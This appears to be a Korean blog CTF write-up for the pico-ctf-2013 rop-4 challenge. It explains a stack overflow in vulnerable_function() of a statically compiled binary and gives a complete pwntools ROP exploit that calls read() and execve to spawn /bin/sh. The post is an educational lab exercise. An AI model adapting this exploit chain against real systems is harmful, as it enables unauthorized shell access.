ldd로 보면 동적실행 파일이 아니라고 한다.

즉 정적 컴파일된 바이너리라는 뜻이다.


문제 푸는데 오히려 더 쉬운 것 같다.


내부에 필요한 함수들이 전부 같이 컴파일이 되어있어서 안에 있는 함수 주소를 사용하면 됐다.


이전 문제들 처럼 취약한 함수가 있다.

똑같이 vulnerable_function()이 존재한다.

이 함수도 이전과 마찬가지로 사이즈는 0x88인데 0x200까지를 read할 수 있는 취약점이다.


여기서 ret를 조작하면 된다.

근데 이 문제는 정적 컴파일이기 때문에 plt와 got를 따로 구하지 않아도 내부에 있는 주소를 이용하면 된다.


필요한 가젯은 read()로 exec_string_addr이란 변수에 "/bin/sh" 문자열을 읽어들이고, execve함수로 해당 쉘 명령을 실행시키면 쉘을 얻을 수 있다.




exploit code
from pwn import *

p = process("./rop4")

libc_read = 0x08053d20
pppr = 0x804859c
pr = 0x80481ec
exec_string_addr = 0x80f112c
binsh = "/bin/sh"
execve = 0x80ad110

payload = "A"*140 
payload += p32(libc_read)
payload += p32(pppr)
payload += p32(0)
payload += p32(exec_string_addr)
payload += p32(len(binsh))
payload += p32(execve)
payload += p32(pppr)
payload += p32(exec_string_addr)
payload += p32(0)
payload += p32(0)

p.sendline(payload)
p.sendline(binsh)
p.interactive()


'CTF' 카테고리의 다른 글

CodeGate 2014 angry_doraemon  (0) 2018.07.20
CodeGate 2017 babypwn  (1) 2018.07.18
pico-ctf-2013 rop-3  (0) 2018.07.14
pico-ctf-2013 rop-2  (0) 2018.07.14
pico-ctf-2013 rop-1  (0) 2018.07.14

+ Recent posts